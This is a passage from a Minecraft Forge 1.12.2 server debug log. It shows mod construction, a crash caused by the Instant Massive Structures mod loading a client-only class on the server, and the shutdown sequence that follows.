xxrexraptorxx.extragems.util.RecipeHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into extragems for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ExtraGems took 0.103s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/TRACE] [FML]: Mod horse_colors is using network checker : Accepting version 1.12.2-1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod horse_colors to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod horse_colors accepts its own version (1.12.2-1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into horse_colors for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Realistic Horse Genetics took 0.012s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/TRACE] [FML]: Mod llibrary is using network checker : Accepting version 1.7.19 [14:28:02] [Server thread/TRACE] [FML]: Testing mod llibrary to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod llibrary accepts its own version (1.7.19) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into llibrary for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - LLibrary took 0.045s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: com/github/alexthe666/iceandfire/client/particle/IceAndFireParticleSpawner$1 [14:28:02] [Server thread/TRACE] [FML]: Mod iceandfire is using network checker : Accepting version 1.8.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod iceandfire to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod iceandfire accepts its own version (1.8.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.ClientProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.ClientProxy [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.CommonProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.CommonProxy [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into iceandfire for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Ice and Fire took 0.190s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/TRACE] [FML]: Mod ichunutil is using network checker : Accepting range 7.2.0 or above, and below 7.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod ichunutil to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod ichunutil accepts its own version (7.2.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into ichunutil for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - iChunUtil took 0.044s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod imsm [14:28:03] [Server thread/TRACE] [FML]: Mod imsm is using network checker : Accepting version 1.12 [14:28:03] [Server thread/TRACE] [FML]: Testing mod imsm to verify it accepts its own version in a remote connection [14:28:03] [Server thread/TRACE] [FML]: The mod imsm accepts its own version (1.12) [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into imsm [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for imsm [14:28:03] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for modid.imsm.core.EventHandler for mod imsm [14:28:03] [Server thread/ERROR] [FML]: An error occurred trying to load an EventBusSubscriber modid.imsm.core.EventHandler for modid imsm java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) [AutomaticEventSubscriber.class:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) [FMLModContainer.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) [LoadController.class:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) [LoadController.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) [LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) [Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) [FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) [FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) [nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: Encountered an unexpected exception net.minecraftforge.fml.common.LoaderException: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:89) ~[forge.jar:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) ~[forge.jar:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) ~[LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) ~[Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) ~[FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) ~[FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) ~[nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: This crash report has been saved to: /aternos/server/./crash-reports/crash-2019-12-21_14.28.03-server.txt [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Stopping server [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Saving worlds [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Coder Pack took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Forge Mod Loader took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Forge took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns Core took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - CraftStudio API took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Animania took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod betteranimalsplus [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod betteranimalsplus [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Better Animals Plus took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Bookworm API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - K4Lib took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ColorChat took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Creature Wisperer took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Dragon Mounts took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ExtraGems took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Realistic Horse Genetics took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - LLibrary took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Ice and Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - iChunUtil took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Instant Massive Structures Mod took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Just Enough Items took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Land Manager took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisCore took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisDoors took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Mobs took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Serene Seasons took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Weaponry took 0.001s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Shields took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Team Up took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings, Horns, and Hooves, the Ultimate Unicorn Mod! took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Zoo and Wild Animals Mod: Rebuilt took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt took 0.000s [14:28:04] [Server thread/DEBUG] [FML]: BThe state engine was in 